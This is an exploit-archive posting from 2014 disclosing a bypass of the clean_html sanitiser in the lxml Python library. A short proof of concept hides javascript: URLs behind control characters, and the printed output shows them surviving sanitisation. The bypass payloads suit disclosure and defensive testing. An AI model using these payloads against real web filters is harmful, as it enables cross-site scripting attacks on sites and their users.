what you don't know can hurt you

lxml Filter Bypass

lxml Filter Bypass
Posted Apr 15, 2014
Authored by ksimka

clean_html in the lxml Python library can be bypassed with non-printable characters.

tags | exploit, python, bypass
MD5 | 70a95adc084e90235701ff538c10c77d

lxml Filter Bypass

Change Mirror Download
Hi, all

I've accidentally found vulnerability in clean_html function of lxml python
library. User can break schema of url with nonprinted chars (\x01-\x08).
Seems like all versions including the latest 3.3.4 are vulnerable. Here is
PoC.


from lxml.html.clean import clean_html

html = '''\
<html>
<body>
<a href="javascript:alert(0)">
aaa</a>
<a href="javas\x01cript:alert(1)">bbb</a>
<a href="javas\x02cript:alert(1)">bbb</a>
<a href="javas\x03cript:alert(1)">bbb</a>
<a href="javas\x04cript:alert(1)">bbb</a>
<a href="javas\x05cript:alert(1)">bbb</a>
<a href="javas\x06cript:alert(1)">bbb</a>
<a href="javas\x07cript:alert(1)">bbb</a>
<a href="javas\x08cript:alert(1)">bbb</a>
<a href="javas\x09cript:alert(1)">bbb</a>
</body>
</html>'''

print clean_html(html)


Output:

<div>
<body>
<a href="">aaa</a>
<a href="javascript:alert(1)">
bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="">bbb</a>
</body>
</div>


I've emailed lxml-guys. Hope they'll fix it soon.

----
ksimka (@m_ksimka)


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